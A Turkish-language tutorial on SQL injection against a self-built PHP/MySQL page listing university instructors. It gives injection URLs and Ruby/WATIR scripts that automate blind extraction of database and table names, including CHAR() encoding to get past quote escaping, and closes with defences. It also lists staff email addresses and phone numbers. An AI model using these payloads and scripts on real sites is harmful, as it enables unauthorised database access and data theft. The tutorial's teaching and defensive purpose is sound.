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Amac: Internet Uygulamarında SQL Enjeksiyon saldılarına örnek göstermek. Uygun girdi kontrolü yapmanın önemini göstermek. SQL Sub SELECT’e izin veren herhangi bir veritabanı bu saldırıya maruz kalabilir.
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Giriş

İlk olarak örnek bir PHP, MySQL 5.1 uygulaması gösterilicektir. Daha sonra bu uygulamanın SQL Enjeksiyon’a olan zayıflığı gösterilerek saldırı yöntemi anlatılacaktır. Saldırı sırasında açık kaynak kodlu WATIR fonksiyonal test aracı ve Ruby programlama dili kullanılacaktır. Internet üzerindeki bir çok otomatik SQL Enjeksiyon betiklerinde perl dili kullanılmaktadır. Ama yazarın inanci ruby ve WATIR’ın basit test etme yapısının perl ve http çağrıları ile alt düzeylerde uğraşmaktan daha kolay olduğu yönündedir.

Internetten herhangi bir web sayfasını örnek gösterip onun üstünde çalışmaktansa kendim örnek bir web sayfası hazırladım. Ama bu makaleyi yazmama neden olan zayıflık bir çok uygulamada yaygın olarak bulunmaktadır. Bu makalede hedef Web Uygulamasının veritabanı tablo yapısı ve tablolardaki kolonların isimlerini öğrenmeye çalışacagız. Her ne kadar benim örneğimde PHP ve MySql )kullanılmış isede bu saldırıda kullanılan programlama dili çok önemli değildir. JSP,ASP.NET yada Ruby on Rails uygulamalarıda, girdi kontrolu uygun bir şekilde yapılmadığı sürece bu saldırıya açıktır. Bu saldırı yöntemi SQL içinde Inner Select kullandığı için Inner Select’e izin vermeyen veri tabanları bu saldırıya açık değildir. Ama Inner Select SQL standartı içinde yer aldığı için , bir veri tabanının Inner Select’e izin vermemesi bir özellikten çok zayıflık olarak düşünülmelidir.

Örnek Uygulama Sayfası bir universitede görev yapan hocaları ve onlar hakkındaki bilgileri listeleyen bir sayfa. Bu sayfada hocaların web sayfaları, email adresleri ve ilgi alanları bulunmakta.

Örnek bir Sayfa 


M.Sc. Middle East Technical University, 2001

Instructor

 

Interest Areas:

 

Web-based Online Systems, Internet Programming, Distance Education, Web Bases Learning System, Learning Management Systems(LMS), Logistic Support Systems (NATO-CALS, NPDM, ISO1388), Networks and internetworking technologies, Object-Oriented Analysis, Design and Programming, database management systems, operating systems

Current Research Areas:

 

Distance Education, Web Bases Learning System, Learning Management Systems(LMS), Logistic Support Systems (NATO-CALS, NPDM, ISO1388), Object-Oriented Design and Programming, Database Management Systems, Internet Programming using PHP. 

Contact Informations:

 


ziya@atilim.edu.tr
Tel:

+90 312 5868818

Fax:

+90 312 5868091

Office:

H-12

Web Page:

http://ceng.atilim.edu.tr/ziya

 [Çerçeve2] 


 [Çerçeve1] 


Verilen URL http://localhost/sqlEnjeksiyon//instructors.php?id=2 gibi url’ler bunlara

Bu url’ye bir sql bilgisi girilince veritabanında hata mesajı alınıyor.

Burda girilen sayıya bir OR kelimesi ekleniyor. Bunun anlamı uygulama geliştiricinin uygun bir şekilde kontrol yapıp yapmadığını anlamak. Eğer uygulama geliştirici uygun bir şekilde giren bilginin sayı olup olmadığını kontrol etmedi ise, sql cümlelerini veritabanına burda olduğu gibi gönderebiliriz. 

http://localhost/sqlEnjeksiyon//instructors.php?id=30 OR
gelen hata mesajı 

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Bize veritabanının mysql olduğunu ve developer’ın  bizim uygun bir şekilde veri girip girmediğimizi kontrol etmediğini gösteriyor. Burda önemli olan şey, bir çok makalede eğer ‘ işareti kontrol edilirse SQL Enjeksiyon’un durdurulacağı varsayılıyor. Bu makalede bunun tümüyle doğru olmadığı gösterilicektir.

Her ne kadar örnek uygulamayı ben yazmış olsamda, Internette bunun çalışıp çalışmadığını denediğim uygulamalarda olan sql cümlesi asağıdaki gibi bir cümle. Bu cümlede dikkat edilmesi gereken şey, sayfadan gelen bilginin bir sayı olduğunun (tablonun primary key) olduğunun varsayıldığı ve bu sayının ‘‘ arasında olmadığıdır.

$query = "SELECT * FROM instructors WHERE id=$id";

Sayfayı bir miktar incelersek bu sayfanın verdiğimiz id numarasına göre bize öğretmen bilgisini verdiğidir. Bu aslında ASP,PHP ve JSP sayfalarında çok kullanılan bir yöntemdir. Burda öğretmen bilgisi yerine oldukça kolay bir şekilde bir e-ticaret sitesinde ürün bilgiside sunulabilirdi. Biz burda bulduğumuz açıklıktan yararlanarak bu web sitesinin kullandığı veritabındaki tablo isimlerini öğrenmeye çalışacağız. Tablo isimlerinden sonra kolon isimleride burda kullanılan yöntem ile oldukça rahat bir şekilde öğrenilebilir.

Burda kullanılan yöntem kısaca şu. Eğer biz id yerine geçen sayfa bilgisine mysql fonksiyonları kullanarak bir sayı döndüreceğiz. Ve bu sayının hangi web sayfasına denk geldiğine bakacağız. Bu sayı bize string karakterinin ASCII değerini verdiğinden, aynı zamanda hangi karakteri geçtiğimizi anlamış olacağız.

Mesela id=LENGTH((SELECT DATABASE()))

Cümlesi bize veritabanın uzunluğu vericek. Biz bu cümlenin id=7 ile aynı anlama geldiğini anlarsak, veri tabanı isminin 7 karakterden oluştuğunu anlayacağız.

Simdi planımız şu 

id=LENGTH((SELECT%20DATABASE()))

SELECT DATABASE() çalışılan veritabanı ismini veriyor. LENGTH ile bu string’in uzunluğunu buluyoruz. Simdi bizim bir fonksiyona ihtiyacımız var. Doğru bir sayfa verilince bunun numarasının ne olduğunu bulsun. 

Bunu örnek üzerinde çalıştırırsak 12 numaralı sayfaya gidiyoruz, buda database ismimizin 12 karakter olduğunu gösteriyor. Her ne kadar burda bunu elle denemiş olsakta,Her denemede hangi sayfanın hangi sayıya denk geldiğini hatırlamak zor olacağından, bunun için otomatik bir betik yazıyoruz.

findEmail.rb

require 'watir'   # the watir controller

def find_email_adres(page_adress)


ie = Watir::IE.attach(:url, page_adress)


ie.goto(page_adress)


begin



email = ie.span(:id,'email')



return email.text


Rescue


return ''


End

End

 Bu eğer sayfa email varsa bize veriyor yoksa boş bir değer dönüyor. Bu betik ile watir kullanmanın getirdiği kolaylığı görebiliyoruz. Eğer email daha zor bulunan bir sayfa içinde olsaydı. Mesela id’si olmayan bir tablo içinde 


emailTable = ie.table(:index,9) 


email = emailTable[1][2]

Kullanarak email’i yine bulabilirdik. Perl ve regular expression kullanmaktan çok daha kolay.

EnjeksiyonSayfalariBUL.rb

require 'watir'   # the watir controller

require 'findEmail'



test_site = 'http://localhost/sqlEnjeksiyon/instructors.phtml?id='

ie = Watir::IE.new

actual_test_site = test_site + '1'

ie.goto(actual_test_site)



# h1 = { "a" => 1, "c" => 2 }  ile yeni bir hash table yaratiliyor. Ustteki scriptten buna benzer

# bir cikti istiyoruz.



puts "$instructors = {"

1.upto(30){|i|


actual_test_site = test_site + i.to_s


email = find_email_adres(actual_test_site)


puts "\"#{email}\" => #{i},"

}

puts "}"

Bu betikin cıktısı. 

$instructors = {

"atilla.ozgur@kaleyazilim.com.tr" =>
1
,

"ziya@atilim.edu.tr" =>
2
,

"aliyazici@atilim.edu.tr" =>
3
,

"cigdem_turhan@atilim.edu.tr" =>
4
,

"erten@atilim.edu.tr" =>
5
,

"nevzat_sezer@atilim.edu.tr" =>
6
,

"fugen_selbes@atilim.edu.tr" =>
7
,

"meltem_eryilmaz@atilim.edu.tr" =>
8
,

"gtokdemir@atilim.edu.tr" =>
9
,

"otozan@atilim.edu.tr" =>
10
,

"oersoy@atilim.edu.tr" =>
11
,

"gulsen_yildirim@atilim.edu.tr" =>
12
,

"ozgit@ceng.metu.edu.tr" =>
13
,

"bulentgursel@atilim.edu.tr" =>
14
,

"akman@atilim.edu.tr" =>
15
,

"hurevren@atilim.edu.tr" =>
16
,

"alok@atilim.edu.tr" =>
17
,

"dalok@atilim.edu.tr" =>
18
,

"kasim@atilim.edu.tr" =>
19
,

"gumrah@atilim.edu.tr" =>
20
,

"nese@atilim.edu.tr" =>
21
,

"erdinc@atilim.edu.tr" =>
22
,

"faruk@ceng.metu.edu.tr" =>
23
,

"nergiz@atilim.edu.tr" =>
24
,

"deneme@deneme.com" =>
25
,

"tolun@atilim.edu.tr" =>
26
,

"gulerkalem@atilim.edu.tr" =>
27
,

"btastan@atilim.edu.tr" =>
28


}

10 saniyede hangi sayfaların kime ait olduğunu görebildik. Çıktısını başka bir ruby file olarak kayıt ediyoruz. Bunu sonucunda bir hash table sahibi oluyoruz. Bu hash_table’a bir email verince bize sayfa numarasını gönderiyor.

Ana betik içinde kullanımı 

number = $instructors[email]

şeklinde mesela

puts $ instructors[“nese@atilim.edu.tr”]

bize 21 değerini veriyor. 

findLengthOfString.rb

require 'ascii'

require 'instructors'

require 'findEmail'



def find_length(test_site ,select_str)


Enjeksiyon_string = "LENGTH(#{select_str})".gsub(" ","%20")


actual_test_site = test_site + Enjeksiyon_string


email =  find_email_adres(actual_test_site)


length = $instructors[email]


return length

end



def find_length_database(test_site = 'http://localhost/sqlEnjeksiyon/instructors.phtml?id=',select_str='(SELECT DATABASE())')


return find_length(test_site,select_str)

end

Bir önceki betikten veritabanın uzunluğunu öğreniyoruz. 12

Şimdiki amacımız bu veritabanın ismini öğrenmek.

http://localhost/sqlEnjeksiyon//instructors.php?id=ASCII((SELECT%20DATABASE()))
bu bize boş bir sayfa veriyor. ASCII table’e bakarsak A harfi 65’ten, a harfi ise 97’den başlıyor. Yani bu elde ettiğimiz sayıyı çıkarmamız lazım. 

http://localhost/sqlEnjeksiyon//instructors.php?id=ASCII((SELECT%20DATABASE()))-96

bize bir sayfa veriyor.

Gül Tokdemir



gtokdemir@atilim.edu.tr
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Bu 18 numaralı sayfamız. Yani ASCII kodumuz 115muş.

http://www.asciitable.com/ adresinden 115’un s karakteri olduğunu öğreniyoruz.

Bir ruby kodu ile verilen sayının hangi karakter olduğunu söyleyen bir ruby kodu yazıyoruz.

$ascii = {

?a =>'a',

?b => 'b',

?c => 'c',

?d => 'd',

?e => 'e',

?f => 'f',

?g => 'g',

?h => 'h',

?i => 'i',

?j => 'j',

?k => 'k',

?l => 'l',

?m => 'm',

?n => 'n',

?o => 'o',

?p => 'p',

?q => 'q',

?r => 'r',

?s => 's',

?t => 't',

?u => 'u',

?v => 'v',

?w => 'w',

?x => 'x',

?y => 'y',

?z => 'z'

}

Ana betik içinde kullanımı 

ascii_char = $ascii[ascii_number] 

şeklinde mesela

puts $ascii[99] 

bize c değerini veriyor. 

Mysql string fonksiyonlari sayfasinda 

SUBSTRING(str,pos,len).

Bize string donduruyor. Burda uzunluk 1 olucak bastan sona donucez.

Yani 

SUBSTRING(str,1,1) ile 1. karakteri

SUBSTRING(str,2,1) ile 2. karakteri

SUBSTRING(str,3,1) ile 3. karakteri

SUBSTRING(str,4,1) ile 4. karakteri

Karakteri alicaz.

Simdi mesela bu veritabanının ilk charını öğrenen betik

findDatabaseName.rb

require 'ascii'

require 'instructors'

require 'findEmail'



def find_database_name(length,test_site = 'http://localhost/sqlEnjeksiyon/instructors.phtml?id=',select_database_str='(SELECT DATABASE())')


len = 1


subtract_number = 90


# bu bizim daha once denedigimiz ve dogru calistigini bildigimiz kod. 


#ASCII a degerleri 96 civari basliyor 'a' = ascii(97)


# bu yuzden bunlardan 96 cikaricaz ve ona gore sayilari bulmaya calisicaz.




database_name = ""

1.upto(length.to_i) {|pos|


Enjeksiyon_string = "ASCII(SUBSTRING(#{select_database_str},#{pos},#{len}))-#{subtract_number}".gsub(" ","%20")


actual_test_site = test_site + Enjeksiyon_string


email =  find_email_adres(actual_test_site)


ascii_number = $instructors[email] + subtract_number


ascii_char = $ascii[ascii_number]


database_name << ascii_char


}


return database_name

end

Burdan cevap olarak sqlEnjeksiyon alıyoruz.

Mysql’de veritabanındaki tablo isimlerini öğrenmenin 2 yolu var.

(SELECT table_name FROM INFORMATION_SCHEMA.TABLES LIMIT 1)

Bu sql standartı olan bir sql cümlesi mesela SQL Server 2000’de bu cümleyi destekliyor. Üstteki yöntem sadece 5.02 ile çalışıyor. Bu mysql’e ait bir cümle ve sistem tablolarını kullanıyor.

SHOW TABLES;

Show tables Inner Select ile çalışmadığı için işimize yaramıyor.

İlk önce ilk tablo ismimizin uzunluğunu öğrenelim.

Ilk deneme bize sistem tablolarından ne geldiğini gösterecek.

findLengthOfString.rb

require 'ascii'

require 'instructors'

require 'findEmail'



def find_length(test_site ,select_str)


len = 1


subtract_number = 90


# bu bizim daha once denedigimiz ve dogru calistigini bildigimiz kod. 


#ASCII a degerleri 96 civari basliyor 'a' = ascii(97)


# bu yuzden bunlardan 96 cikaricaz ve ona gore sayilari bulmaya calisicaz.





Enjeksiyon_string = "LENGTH(#{select_str})".gsub(" ","%20")


actual_test_site = test_site + Enjeksiyon_string


email =  find_email_adres(actual_test_site)


length = $instructors[email]


return length

end



def find_length_database(test_site = 'http://localhost/sqlEnjeksiyon/instructors.phtml?id=',select_str='(SELECT DATABASE())')


return find_length(test_site,select_str)

end



puts find_length('http://localhost/sqlEnjeksiyon/instructors.phtml?id=','(SELECT table_name FROM INFORMATION_SCHEMA.TABLES LIMIT 1)')

Verdiğimiz SQL cümlesinin uzunluğunu bize veren bir betik. Burdan 14 alıyoruz.

İlk tablonun ismini öğrenelim.

(SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=’sqlEnjeksiyon’ LIMIT 1)

Cümlesini denediğimizde apache sunucusu  ‘ karakterlerini atlıyor. Yani ‘ karakterleri \’ halini alıyor. Bu yüzden düzgün bir sonuç alamıyoruz. Ascii.rb dosyamıza bir ekleme yapıyoruz.

def find_mySql_ascii(str)


ret = "CHAR("


str.each_byte{|s|



ret << "#{s},"


}


a = ret.slice(0,ret.length - 1)


a << ")"

end

Mesela SELECT CHAR(115,113,108,73,110,106,101,99,116,105,111,110)

sqlEnjeksiyon anlamına geliyor mySql için. Simdi tablo ismini bulmak için 

require 'ascii'

require 'instructors'

require 'findEmail'



def find_database_name(length,test_site = 'http://localhost/sqlEnjeksiyon/instructors.phtml?id=',select_database_str='(SELECT DATABASE())')


return find_name(length,test_site,select_database_str)

end



def find_name(length,test_site ,select_str)


len = 1


subtract_number = 95


subtract_number_second = 64


# bu bizim daha once denedigimiz ve dogru calistigini bildigimiz kod. 


#ASCII a degerleri 96 civari basliyor 'a' = ascii(97)


# bu yuzden bunlardan 96 cikaricaz ve ona gore sayilari bulmaya calisicaz.

 database_name = ""



1.upto(length.to_i) {|pos|



Enjeksiyon_string = "ASCII(SUBSTRING(#{select_str},#{pos},#{len}))-#{subtract_number}".gsub(" ","%20")



Enjeksiyon_string_second = "ASCII(SUBSTRING(#{select_str},#{pos},#{len}))-#{subtract_number_second}".gsub(" ","%20")



actual_test_site = test_site + Enjeksiyon_string



email =  find_email_adres(actual_test_site)



if (email)




ascii_number = $instructors[email] + subtract_number



else




actual_test_site = test_site + Enjeksiyon_string_second




email =  find_email_adres(actual_test_site)




ascii_number = $instructors[email] + subtract_number



end




ascii_char = $ascii[ascii_number]




database_name << ascii_char



}


return database_name

end

#puts find_database_name(12)

table_name = find_mySql_ascii('sqlEnjeksiyon')

select_str = "(SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=#{table_name} LIMIT 1)"

#puts select_str

puts find_name(11,"http://localhost/sqlEnjeksiyon/instructors.phtml?id=",select_str)



Bu betik çalıştırdığımızda beklediğimiz gibi instructors tablosunu öğreniyoruz.Bundan sonra artık geri kalan tablo isimlerini bulmamıza bir where clause’I eklemek kalıyor

Gelecekteki Planlar

Saldırılan uygulamanın hangi veritabanında çalıştığı ve tabloların neler olduğunu öğrenen betikin ful olarak otomitize edilmesi. Bu sayede findEmail degiştirilerek farklı uygulamara saldırı yapılabilecektir. Betikin modulerize edilmesi. Bu sayede MySQL harici veritabanlarına karşı çalışması mümkün olacaktır.

Korunma Yöntemleri

Bundan önce bir adım adım izleme şeklinde nasıl bir sql Enjeksiyon yapılabileceğini anlattım. Makale’nin bundan sonraki kısmında bundan korunma yöntemleri hakkında bilgi vereceğim.

Minumum Hak (Least Privilege)

Bu makale’de sistem tablolarından Select yaparak uygulamanın tablo yapısını ögrenebileceğimizi gördük. Eğer bu sistem tablolarına uygulamanın kullandığı hak verilmez ise bu saldırı başarısız olacaktır. Ama bazen uygulama tablo yapısı zaten biliniyor olabilir. Saldırılan Uygulama Açık Kaynak Kodlu olabilir, yada sosyal Mühendislik ile bazı tablo bilgileri edinilmiş olabilir. Bu tür durumlarda saldırgan tüm uygulama veri tabanı yapısıyla ilgilenmekten çok bazı belirli tablolar ile ilgilidir. Mesela Kullanıcı isimleri ve parolaların tutulduğu, Kredi kartı bilgilerinin bulunduğu tablolar. Bu tür tablolara uygulama kullanıcısının çok büyük ihtimal ile hakkı bulunmaktadır. Bu yüzden Minumum Hak savunma yöntemlerinden biri olsada kesin çözüm değildir. 

Girdi Kontrolü (Input Validation)

Bu tip bir saldırı yöntemine en uygun korunma yöntemi Girdi Kontrolü olacaktır. Burda olduğu gibi, kullanıcıdan gelen bilginin hiç kontrolsüzce veritabanına yansıtılması felaket getirebilir. Basit bir 

instructorID = _Request[“ID”] + 0;

kodu ile bütün bu saldırı bertaraf edilecektir. Burdada görüldüğü gibi SQL Enjeksiyon’a karşı kesin çözüm  girdi kontrolüdür.
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